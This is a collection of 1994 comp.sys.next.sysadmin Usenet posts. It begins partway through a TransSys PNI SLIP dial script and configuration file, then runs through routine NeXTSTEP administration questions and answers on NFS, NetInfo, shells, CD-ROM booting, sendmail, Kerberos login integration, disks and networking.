{Your IP address is ([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)[^0-9]} { break }
}
syslog LOG_DEBUG "Entering SLIP mode"
#
# Rather than just printing this message, you could ifconfig the interface,
# for example, by using the exec TCL command:
#
exec /etc/ifconfig [[lindex $encapList 0] interface] $1
#
# or
#
# [lindex $encapList 0] local-ip-address $2
# [lindex $encapList 0] remote-ip-address $2
#
#
syslog LOG_INFO "my address should be $1"
#
# wait a bit for server to switch to SLIP mode
#
$DIALER sleep 1
#
# that's all
#
return "Connected"
}
-----------------------------------------------------------------------------
Here's my /etc/pni/config/pni0.config. Likewise, UW-Madison folk can use this
unchanged.
#
# Pretty close to minimal configuration file for CSLIP using
# a ZyXEL modem dialing into a Xylogics Annex SLIP servier.
#
# $Header: /local/SRCS/slip2/pnid/support/config.cslip,v 1.5 1994/05/16 02:31:16 louie Exp $
## PART I.
set Config(pni:INTERFACE) pni0
set Config(pni:MTU) 1500
set Config(pni:ADDRESS) 127.0.0.1
set Config(pni:REMOTEADDRESS) 144.92.180.1
set Config(pni:NETWORKMASK) 255.255.255.0
set Config(pni:DEFAULT) 1
set Config(slip:MODE) cslip
set Config(tty:DEVICE) /dev/cufa
set Config(tty:SPEED) 38400
set Config(tty:MODEMTYPE) zyxel
set Config(tty:SERVERTYPE) annex
set Config(tty:SERVERNAME) SlipServerName
set Config(tty:NUMBER) 265-4321
set Config(SlipServerName:DIALTYPE) TONE
set Config(SlipServerName:SECRETFILE) /etc/pni/config/password.pni0
# PART II.
stack PNI pni
stack SLIP slip
stack TTY tty
# PART III.
proc LINK_start { encap } {
log "LINK $encap connected"
}
proc LINK_stop { encap } {
log "LINK $encap disconnected"
}
------------------------------------------------------------------------------
Additional Comments:
1. Read pni.ps in ./doc subdirectory for more info. Focus on pages 76-83.
2. If PNI gets screwed up it will probably lock up your system and you'll have
to reboot WITHOUT being able to sync. Nasty! :-(
3. The stuff added to /etc/rc.local only starts up config files in
/etc/pni/config with an "-auto" suffix. The quickstart instructions don't do
this so you have to start up SLIP manually (step 9). [This is what threw me the
first time I tried it].
4. If you run pnistat and there's no pnid deamon running you'll get a long
cryptic "RPC" error. Basically, it means there's nothing running (i.e. you
forgot step 9). Type "ps axu | grep pni" to check.
From: pmarc@allanon.math.byu.edu (Paul Cardon)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NFS NeXTSTEP Developer across m68k, i486, hp, sun?
Date: 14 Jun 1994 04:02:26 GMT
Organization: Brigham Young University
Message-ID: <2tja4i$obu@hamblin.math.byu.edu>
References: <2tie7c$22a@news.icaen.uiowa.edu>
> brad@instep.wimsey.bc.ca writes:
>
>
> >Let's say I have three machines on my network.
> >I've purchased the necessary software/licencing for each machine.
> >The machines are:
>
> >HP (PA-RISC) running NEXTSTEP.
> >Dell XPS/66 i486 running NEXTSTEP.
> >NeXTstation Turbo running NEXTSTEP.
>
> >My NeXTstation is configured as the server; the other two are clients.
> >The NeXTstation is my file server.
> >The others have a local disk just big enough for the User
> >release of NEXTSTEP and enough for swap.
I had to do this in a lab I took over which had 100MB disks on the
slabs and 200MB IDE disks on the PCs. It is a bit tricky. I had to track
down all of the files that are strewn through the file system by the
installation of the developer tools and libs. Luckily they reside in only
about 5 directories. Mounted the directories, made the appropriate
symlinks and everything was in business. I do make sure they all use
network time off of a machine configured as a time server just as a
precaution. You will definitely not want to replace entire directories
even if everything is installed FAT because you *will* break stuff. Take a
look at what kind of stuff is in /usr/lib just for fun. It looks like
anything that NeXT couldn't find a logical place for got thrown in there.
Who knows, maybe I would have done the same.
Anyway, 26 machines all look identical with full user and
developer environments and all the documentation, but it is only installed
on one of the machines. The performance isn't that awful either, really.
:-) You make do with what you have sometimes. Especially when you are
given most of the machines, but university policy doesn't count donated
machines in the capital equipment list for upgrades and replacement. :-(
When 3.3 comes with binaries for all 3 architectures, I will put
the development software on that machine and mount it to the others (at
least until we decide to retire those poor 8MB slabs). That is very good
advice from Doug Siebert. Thanks for dropping in from comp.sys.hp.hpux!
--
Paul M. Cardon
President of Provo OpenStep-NEXTSTEP User and Developer Group (PoNG)
NEXTSTEP and HP System Manager
Math Department - Brigham Young University
Member of the Open Buzzword Foundation (OBF) Standards Committee
DOS - The Ultimate Blivet
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf)
Newsgroups: de.comp.sys.next,comp.sys.next.sysadmin
Subject: netinfo available for X11?
Date: 14 Jun 1994 09:35:24 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2tjtks$a02@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Keywords: X11, netinfo, system administration
hello
Is there a X11 port of netinfo available?
When, where?
In Europe at which ftp site?
Is it freeware?
Would be nice to bring a little bit of culture to these
stone age X11 admins.
thanx alot
stephan
--
Stephan Fruhauf gonzo@cs.tu-berlin.de
what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
Newsgroups: comp.sys.next.sysadmin
From: Nicole A Vincent <nicolev@number_one.apana.org.au>
Subject: Re: Tcsh shell
Message-ID: <CrDEpF.Aus@number_one.apana.org.au>
Sender: nicolev@number_one.apana.org.au (Nikki A Vincent)
Organization: Cafe Abbey - the Virtual NeXTSTEP Cafe Downunder.
References: <CrBp45.B74@trapac.com>
Date: Tue, 14 Jun 1994 04:48:50 GMT
Karl Kraft writes
> In article <CrA4DI.6C@touga.vd.alphanet.ch> Jacques Garbi writes:
> > Hi,
> >
> > All my users are using tcsh, root included.
> > The problem is that when I log wit a user name and I launch
> Terminal.app
> > and I do a su, su starts with csh. How can I make it always start
> with
> > tcsh ?
> >
>
As someone already suggested, you can use UserManager to set the login
shell to tcsh. Open up the user, and change the login shell to tcsh.
However, before doing that, make sure you edit the /etc/shells file. This
file specifies all the valid login shells that can be run on login. If
the tcsh is not specified it the /etc/shells file you will be logged in
and out with the message that the shell specified is an illegal shell.
This is very important as you can lock yourself out of root by not putting
the tcsh into the /etc/shells file.
Cheers
Nicole
---
----------------------NeXTmail Accepted and preferred --------------------
Nicole Vincent : nicolev@number_one.apana.org.au
SYDNEY NSW AUSTRALIA
The joys of love made her human and the agonies of love destroyed her.
-- Spock, "Requiem for Methuselah", stardate 5842.8
From: rene@prz.tu-berlin.de (Rene' Kulschewski)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Black Hardware Hell
Date: 15 Jun 1994 13:44:59 GMT
Organization: TUBerlin/ZRZ
Message-ID: <2tn0kr$j5@brachio.zrz.TU-Berlin.DE>
References: <Cr3tw6.DnM@cunews.carleton.ca> <neuss.771611328@budlight> <KAOKI.94Jun15141434@ps2.ps1.yukawa.kyoto-u.ac.jp>
Kenichiro Aoki (kaoki@ps1.yukawa.kyoto-u.ac.jp) wrote:
: It's not clear from these posts, but are you using turbo
: machines or non-turbo? I believe non-turbo NeXT's canNOT boot
: from CDROM. That's why they give you a floppy with the CD when
: you upgrade. Perhaps irrelevant, but just in case.
That's incorrect. Newer (i don't know the exact age) can boot from CD-ROM,
including mine ... :-)
Rene'
--
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<rene@prz.tu-berlin.de> Rene' Kulschewski
Newsgroups: comp.sys.next.sysadmin
From: david@snoopy (David Vazquez)
Subject: sendmail.cf
Message-ID: <1994Jun15.141649.26652@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: University of New Orleans
Date: Wed, 15 Jun 1994 14:16:49 GMT
Could someone please email me a copy of a sendmail.cf file that meets the
following criteria:
1) Works with sendmail v5.67d or e (e is NeXT's patch; d came with NS/I 3.2).
2) Is set up for internet mail so that you can send email with user@domain
where user=a valid username and domain=a valid internet domain name.
For the longest I've been unable to send mail as stated in 2 because it always
bounces. I temporarily fixed the problem by using sendmail.old instead of
sendmail, but I quickly found that sendmail.old's don't like talking to each
other (could be a sendmail.cf problem, but I don't know enough to try and
fix it).
What is the reason for sendmail.old anyway?
Many thanks (in advance) to all replies,
-David Vazquez "david@smobject.com"
Newsgroups: comp.sys.next.sysadmin
From: woo@ornl.gov (John W. Wooten)
Subject: Printing from Mac on NextStep Printer?
Message-ID: <1994Jun15.162236.24132@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Wed, 15 Jun 1994 16:22:36 GMT
I want to print from a Mac which is on the same Ethernet segment as
several Nexts and their printers. The Mac is running MacTCP. Is there
a way to send files to the NeXTs to have them print on their printers?
- - - - - - - - -
J. W. Wooten
Newsgroups: comp.sys.next.sysadmin
From: friendly@hotspur.psych.yorku.ca (Michael Friendly)
Subject: How to log anonymous ftp logins?
Message-ID: <CrG6Jn.Du9@newshub.ccs.yorku.ca>
Sender: news@newshub.ccs.yorku.ca (USENET News System)
Organization: York University
References: <CqFLy2.5qJ@spcuna.spc.edu>
Date: Wed, 15 Jun 1994 16:45:22 GMT
In article <CqFLy2.5qJ@spcuna.spc.edu> root@net23 (Operator) writes:
|Stephen Perkins (perkins@sidney.cps.msu.edu) wrote:
|: > Q: Why won't ftpd log anonymous ftp logins?
|: >
|: The NA may be gone because the bug may be fixed. Here are a few lines
|: from my /usr/adm/messages file:
... deleted ...
|
|: I had to modify my /etc/syslog.conf to be the following:
|: ========================================================
|: *.err;kern.debug;auth.notice /dev/console
|: kern.debug;daemon,auth.notice;*.err;mail.crit /usr/adm/messages
|: mark.debug,daemon.info /usr/adm/messages
|: lpr.debug /usr/adm/lpd-errs
|: mail.info /usr/spool/mqueue/syslog
... deleted ...
|: ========================================================
I have tried inserting the line containing 'daemon.info' above into my
/etc/syslog.conf file, but ftp logins still do not show up in my messages
file. Is there anything else that needs to be done besides making that
change?
--
Michael Friendly Internet: friendly@vm1.yorku.ca
Psychology Department NeXTmail: friendly@hotspur.psych.yorku.ca
York University
4700 Keele Street
Toronto, ONT M3J 1P3 CANADA
From: louie@TransSys.COM (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: AFS and Kerberos for NextStep ???
Date: 11 Jun 1994 16:46:24 GMT
Organization: TransSys, Inc., Nitwittery Eradication Division
Message-ID: <LOUIE.94Jun11124625@wa3ymh.transsys.com>
References: <Cr2076.1s4@informatik.uni-muenchen.de> <1994Jun8.150418.17998@Princeton.EDU>
<2t8nbr$g5a@nic-nac.CSU.net>
In-reply-to: eps@futon.SFSU.EDU's message of 10 Jun 1994 03:40:43 GMT
In article <2t8nbr$g5a@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes:
It all depends on how sophisticated your changes need to be.
loginwindow's keystone is the validate_user() function; if what
what you need can be implemented simply by replacing it, I think
I see how loginwindow might be fixed to rld_load() an arbitrary
replacement. (Thankfully, loginwindow is already rld-friendly!)
I just need to scrounge a few static bytes, heh heh.
This is the most promising approach. It was possible at one time to
get the object files for a loginwindow to replace the validate_user
function with one of your own, but this no longer seems to be the
case.
I did something like this than a year ago while I was still at the
University of Maryland; I've since left and don't have access to this
code any longer. The stuff we did was based on integrating the
Transarc AFS kerberos stuff into the system, though you can get the
MIT V4 Kerberos code to compile after fighting with imake for a while.
Of course, just compiling up the Kerberos code isn't all you really
need: you want to whack loginwindow so the user doesn't have to login
twice.
One thing to note: the user's environment is initialized AFTER
validate_user() is called, so its not possible to set environment
variables like, say, the one that points to your ticket file.
What I did was invoke the ultimate NeXT documentation tool, otool -tvV,
and and change the
movel #_envinit:l,_environ:l
into something like
movel _envinit,_environ
and then put the appropriate stuff in _envinit during the validate_user()
function. It turns out that there's only one bit difference between the
two instructions :-)
--
Louis A. Mamakos
TransSys, Inc.
From: louie@TransSys.COM (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Trouble with TransSys PNI 1.9
Date: 11 Jun 1994 17:18:29 GMT
Organization: TransSys, Inc., Nitwittery Eradication Division
Message-ID: <LOUIE.94Jun11131829@wa3ymh.transsys.com>
References: <Cr08Kt.7H@relief.com>
In-reply-to: jjfeiler@relief.com's message of Tue, 7 Jun 1994 02:07:41 GMT
In article <Cr08Kt.7H@relief.com> jjfeiler@relief.com (John Jay Feiler) writes:
Is it possible to get PNI to work on a netinfo network, or isn't
it? I know that the installation script tries to alter netinfo
so you aren't on a netinfo network, but that isn't an option
for me. The docs suggest that you can get it to work on a
netinfo network, but they don't suggest how.
The whole issue regarding netinfo networks and slip boil down to this:
having the local host attempting to contact a parent netinfo server
over a link that's not dialed up at the moment. If you're on an ethernet
and you have a netinfo server on that ethernet, it's no problem.
The problem arises when you are a standalone machine. Normally, when
an attempt would be made to contact a parent netinfo server by sending
to "broadcasthost", it would immediately fail since there would be no
working network interfaces. The problem arises when you have default
route pointing out a SLIP interface, and the frames addressed to
255.255.255.255 go into a black hole.
Meanwhile, you're sitting there waiting for the loginwindow to appear,
looking at nothing but a spinning wait mouse pointer. This is the
source of a recent complaint that PNI "crashed" a machine; if you're
patient, the netinfo request will eventually time out and you can log
in.
If you think you know what you're doing by all means do things
differently that what is suggested by the documentation. In it isn't
obvious, the TransSys Dial-Up IP and TransSys PNI software packages
are not intended for the people who are not IP literate -- it's just
too hard to build software that's completely idiot proof to install,
and no one would want to pay the money to support such a product. If
this is what is desired, take a look at Morning Star PPP, a fine
product with great support. Of course, it's not real cheap..
And yes, yes, there's a new version of PNI coming soon. The very
first place it will appear, and the official distribution will be on
FTP.UU.NET in /vendor/TransSys; copies will also be put on CS.ORST.EDU
and SONATA.CC.PURDUE.EDU. I've been real behind in answering my mail
since time is sort of tight for me.
One other issue: it is very likely that there will *not* be a Gecko/HP
versions available *until* there is Motorola (or perhaps Intel) based
cross development system avaiable for it. The port should be trivial
to do; the code already runs on system with both byte-orderings so it
should just compile and run. The problem is continuing access to an
NeXTSTEP/HP system to build new versions as needed. I have no plans
right now to buy an HP platform simply to build PNI on. If anyone has
any good info on when an HP development environment is due to be
hosted on a Motorola platform, I'd be real interested in hearing about
it.
--
Louis A. Mamakos
TransSys, Inc.
From: burton@het.brown.edu (Joshua W. Burton)
Newsgroups: comp.sys.next.sysadmin
Subject: MO disk initialization woes
Date: 11 Jun 1994 17:31:13 GMT
Organization: Brown University
Message-ID: <2tcsd1$439@cat.cis.Brown.EDU>
I seem to be running into new and unpleasant behavior when initializing
MO disks in my NeXTcube. Ordinarily, if one puts a never-used disk in
the drive, it will spin up, make that awful `screech' sound that goes
with an unsuccessful read about three times, spin down, try it again,
spin up and down once or twice more, and then bring up an alert panel
telling me that the disk is unreadable. At this point I can initialize
the disk, and it comes up in the workspace without problems.
Today I have discovered that my last ten disks (the ones that I saved
for myself out of the 1600 I wound up buying from Canon in the Great
Net Disk Deal of last January) are exhibiting different behavior. When
I insert them, they spin up, screech ONCE, and then go completely
quiescent. They are not yet mounted, so neither the workspace nor
umount can touch them. Disk -e just freezes if you run it, and will not
unfreeze even for a kill -9 signal. Thus there is no way to 'halt' or
'shutdown' the machine cleanly; the shutdown has to wait for the
unkillable process (autodiskmount and/or disk -e) and never returns.
So I have to break out to the ROM monitor with the second nerve pinch,
and once there I can type 'ej' TWICE and the disk comes out. (The
first time I type it nothing happens.) When I try to boot the system
verbosely with the quiescent disk still in the drive, I get two lines
of information about its serial number and the date that Canon produced
it (also probably the lot number---sorry, but having to reboot my system
hard eight or ten times this morning has played merry hell with my
attempts to document the problem). Then the system panics, and the
boot process cannot be resumed until the offending MO disk is ejected.
I get one `screech' sound when the two lines of disk info come up, so
I am pretty sure that this is the same stage at which the autodiskmount
is failing when I insert the disk on a booted system.
Anyway, I am wondering if anyone knows what is wrong here, and whether
there are any low-level tools that will let me bring these disks up to
the point where the system can see that they are unreadable and build them.
I suppose that I should have tested to make sure that I was keeping `good
ones' for myself, but I didn't think that was fair if I wasn't going to
do the same to all 1600 (a practical impossibility). It's hard to believe
that I was so unlucky as to keep the ONLY disks with problems in the bunch,
so I am hoping that someone else has some practical advice. If not, does
anyone want to sell me back ten of the remaining 1590 disks? :(
If the entire federal budget was divided up +---------------------------------+
among the 260 million people in the US, you | Joshua W. Burton (401)435-6370 |
wouldn't get any of it. That's why we call | burton@het.brown.edu |
you an `ordinary taxpayer'. -- Dave Barry +---------------------------------+
From: dfh@guitar.ho.att.com (Dan Hurley)
Newsgroups: comp.sys.next.sysadmin
Subject: NFS over Netinfo
Date: 15 Jun 1994 14:15:42 -0500
Organization: UTexas Mail-to-News Gateway
Sender: nobody@cs.utexas.edu
Message-ID: <9406151904.AA06223@guitar.ho.att.com>
Hi.
I haven't been able to keep up with my reading the correspondence in this list
so I don't know if this topic has already been beaten into the ground. If so I
apologize.
We have been having trouble successfully importing exported directories to
domains. I have a directory (/HD1/Share) residing on a SCSI HD of my machine
("guitar") that I wish to share with members of a midlevel domain. When I
export it on my machine (the server) and import it to the target domain, I
would expect the following path to become visible on the machines in the target
domain machines:
/Net/guitar/HD1/Share
Instead, they show the path up to but not incluing the shared directory:
/Net/guitar/HD1
The entire path has permissions that should allow read/execute access to the
each component including "Share"
Can a SCSI external drive be a NFS directory server?
Any ideas?
Thanks for the help.
Dan Hurley
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From: js@euler.hnv.icem.de(Juergen Sell)
Subject: Re: CONSOLE LOGIN PROHIBITABLE?
Message-ID: <CrGA0p.FE@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
References: <2tkk90$e62@senator-bedfellow.MIT.EDU>
Date: Wed, 15 Jun 1994 18:00:25 GMT
In article <2tkk90$e62@senator-bedfellow.MIT.EDU> mra@mit.edu (Michael Raskin Andrews) writes:
> anyone know if its possible to set things up so that a user has an
> account, but is barred from logging in from the console? i.e., i want the
> person to only be able to login via the net, or a serial terminal. please
> email responses. thanks.
Isn't the 'secure' parameter in gettytab what you need?
Juergen
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From: js@euler.hnv.icem.de(Juergen Sell)
Subject: Re: CONSOLE LOGIN PROHIBITABLE?
Message-ID: <CrGADs.H0@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
References: <CrGA0p.FE@euler.hnv.icem.de>
Date: Wed, 15 Jun 1994 18:08:16 GMT
In article <CrGA0p.FE@euler.hnv.icem.de> js@euler.hnv.icem.de(Juergen Sell) writes:
> In article <2tkk90$e62@senator-bedfellow.MIT.EDU> mra@mit.edu (Michael Raskin Andrews) writes:
> > anyone know if its possible to set things up so that a user has an
> > account, but is barred from logging in from the console? i.e., i want the
> > person to only be able to login via the net, or a serial terminal. please
> > email responses. thanks.
>
> Isn't the 'secure' parameter in gettytab what you need?
Sorry, this works for root only, of course.
Juergen
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Subject: What did I miss going from 3.0 to 3.2?
Message-ID: <1994Jun19.070900.21739@cc.usu.edu>
From: deviate@lipschitz.sfasu.edu (J. Kelly Cunningham)
Date: 19 Jun 94 07:09:00 MDT
Organization: As little as I can get away with...
We updated from 3.0 to 3.2. Would we've missed some important files?
I ask because there seems to be a dearth of posix stuff. I can find
references to posix, but things like "libposix.a" are missing.
Was skipping 3.1 the culprit? Please Cc: deviate@lipschitz.sfasu.edu.
-- kc
From: kinch@junior.heart.rri.uwo.ca (Dave Kinchlea)
Newsgroups: comp.sys.sgi.admin,comp.sys.next.sysadmin
Subject: Re: ypserv and nexts && syslogd
Date: 15 Jun 1994 20:48:49 GMT
Organization: Heart Valve Lab, Robarts Research Institute
Distribution: world
Message-ID: <2tnpfh$fne@falcon.ccs.uwo.ca>
References: <2tkjro$9hi@falcon.ccs.uwo.ca>
I have yet to receive a response from anyone, thought I might try
again ;-(
Gee, and I thought I understoop NIS ;-( I have been running an NIS LAN
for sometime. The master server to date has been a PI running IRIX
4.0.5. I now have a new Indigo2 and I want it to be the master but I
am experiencing quite a bit of trouble getting my nextstations to
recognize the new master. Is there any known problems with NIS under
IRIX 5.2? My two SGI boxes running 5.2 are happilly working over NIS
but the nexts cannot bind to the server. The server is local and these
nexts have no problem binding to a ypserver under 4.0.5. The maps are
the same. (I even tried to make a new ypdomain, thinking that there
was just some serious confusion about who was REALLY the master, this
domain had no slave servers.) I am confused.
I have decided to remove NIS from my network but I consider this a
temporary measure only, (its still a small enough network that this is
possible).
>
>On a different note, I moved my syslogd host to the new indigo2 and now
I have figured out my error here (kinda silly really but ...).
SYSLOGD seems to be working just fine.
>Any help is appreciated, and more info to those who ask.
>
>cheerskinch
ps: Someone sent me a message asking for any info that I get,
unfortunately I lost your email address. Send me your address again,
please.
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From: perstoro@uriela.in-berlin.de (Wilhelm Schaefer)
Subject: Re: Black Hardware Hell
Message-ID: <1994Jun15.231706.425@uriela.in-berlin.de>
Sender: perstoro@uriela.in-berlin.de
Organization: NeXAPP
References: <2tn0kr$j5@brachio.zrz.TU-Berlin.DE>
Date: Wed, 15 Jun 1994 23:17:06 GMT
In article <2tn0kr$j5@brachio.zrz.TU-Berlin.DE> rene@prz.tu-berlin.de (Rene'
Kulschewski) writes:
#Kenichiro Aoki (kaoki@ps1.yukawa.kyoto-u.ac.jp) wrote:
#
#: It's not clear from these posts, but are you using turbo
#: machines or non-turbo? I believe non-turbo NeXT's canNOT boot
#: from CDROM. That's why they give you a floppy with the CD when
#: you upgrade. Perhaps irrelevant, but just in case.
#
#That's incorrect. Newer (i don't know the exact age) can boot from CD-ROM,
#including mine ... :-)
#
#Rene'
This is not a hardware problem. Any black NeXT will boot from CD-ROM with OS
3.0 or higher. NeXT computer running 2.X will need the floppy-disk for
upgrading.
so long
*** perstoro ***
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From: darren@inherent.com (Inherent Network Admin Center)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin,comp.sys.next.software
Subject: Re: Memory Leaks: What are they?
Date: 15 Jun 1994 17:30:55 GMT
Organization: Internetworks, Inc.
Distribution: USA
Message-ID: <2tndsg$dps@pdx1.world.net>
Keywords: memory leaks
Gentle Readers,
I am rather new to the business of System Administration and
have a question concerning a recent issue I have faced: memory leaks.
I have just started to get deep into the technical issues for both
Unix and NEXTSTEP and do not fully understand the concept of a memory
leak. I lack a firm definition of what one is and how they work. My
understanding does not go far beyond the beleif that it is linked
with sporadic and untamed malloc calls.
One of the systems that I am monitoring is apparently being
effected by this type of bug. Within five days of a reboot the swap
file has jumped from the normal 16.7 to over 40 megabytes. It is
believed to be linked to the Front Desk application, but we have no
way to detect this for sure. Does anyone know of a way to detect
memory leaks? Has anyone else ever witness this problem either with
Front Desk or with other applications?
I would appreciate any information, especially further
documentation that I may research concerning detection and prevention
of memory leaks.
Thanks in advance
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Inherent Technologies, Inc. | Fax: 503-224-8872
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From: beerbohm@informatik.uni-koblenz.de (Dirk Beerbohm)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Floppy disks
Date: 14 Jun 1994 21:34:57 GMT
Organization: University Koblenz / Germany
Message-ID: <2tl7q1$b1m@newshost.uni-koblenz.de>
References: <2tk5fg$4jg@newshost.uni-koblenz.de>
Hello,
Ole Bredesen-Vestby writes
>What format is the best to use with nextstep. I have tried both Mac and
>Dos, but they don't give more than 1.4Mb. Is there any way to unformat a
>Dos disk, or make it a next-disk
>
>-OBV
If you have the strong need for a capacity more than 1.44 meg you
should get ED discs (2.88). The black hardware floppy drive
is a 2.88 meg drive.
Dirk
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From: Nghiem_Alex@pcp.ca (Alex Nghiem)
Subject: cheap backup device
Message-ID: <1994Jun14.230322.19541@pcp.ca>
Keywords: backup, device
Sender: news@pcp.ca
Organization: PanCanadian Petroleum Ltd.
Date: Tue, 14 Jun 94 23:03:22 GMT
Group:
I have a Turbo mono station with a 400MB hardfile which I've been backing
up using tar to floppies (I know, I know). Anyway, I would like any
recommendations on cheap backup devices. I don't need the 4GB tape drives
but something that would comfortably back up 100MB is fine. I would also
like to use this device with my Dell PC, which is not SCSI.
Please e-mail me and I'll summarize if there's interest.
Thanks,
Alex
Nghiem_Alex@pcp.ca
alex@oolesson.com
From: theharv@csld.ucr.edu (Brian Harvey)
Newsgroups: comp.sys.next.sysadmin
Subject: Network Buffers?
Date: 14 Jun 1994 23:16:05 GMT
Organization: University of California, Riverside
Message-ID: <2tldnl$abg@galaxy.ucr.edu>
Twice today and once yesterday our NeXTCube server crashed. Each time,
messages similar to this appeared in /usr/adm/messages:
Jun 14 14:36:18 mozart mach: enrx: no network buffers
Jun 14 14:36:25 mozart last message repeated 13 times
Jun 14 14:36:26 mozart mach: NFS remove failed for server mozart: RPC: Timed out
Jun 14 14:36:27 mozart mach: enrx: no network buffers
Jun 14 14:36:28 mozart last message repeated 4 times
Jun 14 14:36:30 mozart mach: enrx: no network buffers
Jun 14 14:38:33 mozart last message repeated 269 times
Jun 14 14:38:34 mozart mach: enrx: no network buffers
Jun 14 14:40:37 mozart last message repeated 213 times
Jun 14 14:40:40 mozart mach: enrx: no network buffers
Jun 14 14:42:42 mozart last message repeated 183 times
Jun 14 14:42:46 mozart mach: enrx: no network buffers
Jun 14 14:44:48 mozart last message repeated 214 times
Jun 14 14:44:49 mozart mach: enrx: no network buffers
What does "no network buffers" mean and why did it happen?
Any help would be greatly appreciated. 8^)
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From: jjfeiler@relief.com (John Jay Feiler)
Subject: Slightly different problem with PNI
Message-ID: <CrFJu7.GJ@relief.com>
Sender: jjfeiler@relief.com (John Jay Feiler)
Organization: Relief Consulting & Development
Date: Wed, 15 Jun 1994 08:34:54 GMT
Hi all:
I'm having a strange problem with PNI, and I think it may be a routing
problem. I haven't been able to figure out what's going on, though, so I
thought I ask the collective wisdom of the net.....
Here's some relevant info:
relief# ifconfig -a
en0: flags=63<UP,BROADCAST,NOTRAILERS,RUNNING>
inet 192.42.172.1 netmask ffffff00 broadcast 192.42.172.255
lo0: flags=69<UP,LOOPBACK,NOTRAILERS,RUNNING>
inet 127.0.0.1 netmask ff000000
pni0: flags=51<UP,POINTOPOINT,RUNNING>
inet 162.148.252.57 --> 162.148.251.240 netmask ffffff00
relief# netstat -r
Routing tables
Destination Gateway Flags Refs Use Interface
shiloh 162.148.252.57 UH 0 0 pni0
162.148.252.57 localhost UH 0 0 lo0
localhost localhost UH 3 498 lo0
default shiloh UG 0 0 pni0
next-default relief U 13 2817 en0
relief# ping shiloh
PING shiloh: 56 data bytes
^C
----shiloh PING Statistics----
7 packets transmitted, 0 packets received, 100% packet loss
relief# /etc/pni/bin/pnistat -a
Encapsulated Decapsulated
Type Encap state Bufs Bytes Bufs Bytes
PNI* pni phase2 8 876 0 0
SLIP* slip phase2 8 620 13 206
TTY* tty phase2 8 636 13 206
The routing SEEMS to be set up correctly, but when I try to ping the other
end of my pointtopoint connection, The packets go out, but I never get them.
Anybody have any suggestions as to what mught be going wrong??
Thanks in advance,
John
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From: meyergru@Informatik.TU-Muenchen.DE (Uwe Meyer-Gruhl)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Black Hardware Hell
Date: 16 Jun 1994 08:19:05 GMT
Organization: Technische Universitaet Muenchen, Germany
Distribution: world
Message-ID: <2tp1tp$rj2@hpsystem1.informatik.tu-muenchen.de>
References: <2tn0kr$j5@brachio.zrz.TU-Berlin.DE> <1994Jun15.231706.425@uriela.in-berlin.de>
Originator: meyergru@hpradigf.informatik.tu-muenchen.de
>In article <2tn0kr$j5@brachio.zrz.TU-Berlin.DE> rene@prz.tu-berlin.de (Rene'
>Kulschewski) writes:
>#Kenichiro Aoki (kaoki@ps1.yukawa.kyoto-u.ac.jp) wrote:
>#
>#: It's not clear from these posts, but are you using turbo
>#: machines or non-turbo? I believe non-turbo NeXT's canNOT boot
>#: from CDROM. That's why they give you a floppy with the CD when
>#: you upgrade. Perhaps irrelevant, but just in case.
>#
>#That's incorrect. Newer (i don't know the exact age) can boot from CD-ROM,
>#including mine ... :-)
>#
>#Rene'
>
>This is not a hardware problem. Any black NeXT will boot from CD-ROM with OS
>3.0 or higher. NeXT computer running 2.X will need the floppy-disk for
>upgrading.
>
>so long
> *** perstoro ***
This is not true. Older NeXT computers (like my NeXTstation color) don't
know how to boot from a CD-ROM, because the system bios does not support this.
They DO know, however, how to boot from a diskette or an optical disk.
NeXT ships a bootable diskette with their USER CD-ROM which just bootstraps
the loader for the CD-ROM, so you can boot FD/CD-ROM. If you transfer its
bootblock to an OD, you can even boot from OD/CD-ROM, in case you own an old
68030 cube.
It's all in the manuals, folks.
cheers, Uwe
Uwe Meyer-Gruhl "And if I die today I'll be the happy phantom
Lehrstuhl Informatik IX and I'll go chasing nuns out in the yard" (TA)
Technische Universitaet Muenchen email:MeyerGru@Informatik.TU-Muenchen.DE
Orleansstr. 34, D-81667 Muenchen tel: ++49 89 48095-209
Newsgroups: comp.sys.next.sysadmin
From: oliver@sphinx.gun.de (Oliver Bonk)
Subject: mounting CDROM filesystem on a PC
Message-ID: <CrA8M3.vw@sphinx.gun.de>
Sender: oliver@sphinx.gun.de (Oliver Bonk)
Organization: Oliver's NeXTstation Color
Date: Sun, 12 Jun 1994 11:44:27 GMT
Hi folks,
I tried to mount a CDROM filesystem, exported by my NeXT, on a PC using
PC-NFS and PCTCP. First it looks like it works. I can mount the filesystem
and I can look into the directory, but I can`t access a file.
Is that a know problem?
I tried the same thing on a SUN running SUN OS 4.1.3 and it worked fine.
Thank you
Bye
Oliver
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From: gross@stimpy.ame.nd.edu (George B. Ross)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Floppy disks
Date: 15 Jun 1994 18:13:55 GMT
Organization: University of Notre Dame
Distribution: world
Message-ID: <2tngd3$c3s@news.nd.edu>
References: <2tl7q1$b1m@newshost.uni-koblenz.de>
In article <2tl7q1$b1m@newshost.uni-koblenz.de>
beerbohm@informatik.uni-koblenz.de (Dirk Beerbohm) writes:
> Hello,
>
> Ole Bredesen-Vestby writes
> >What format is the best to use with nextstep. I have tried both Mac and
> >Dos, but they don't give more than 1.4Mb. Is there any way to unformat
a
> >Dos disk, or make it a next-disk
> >
> >-OBV
>
> If you have the strong need for a capacity more than 1.44 meg you
> should get ED discs (2.88). The black hardware floppy drive
> is a 2.88 meg drive.
>
> Dirk
>
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>
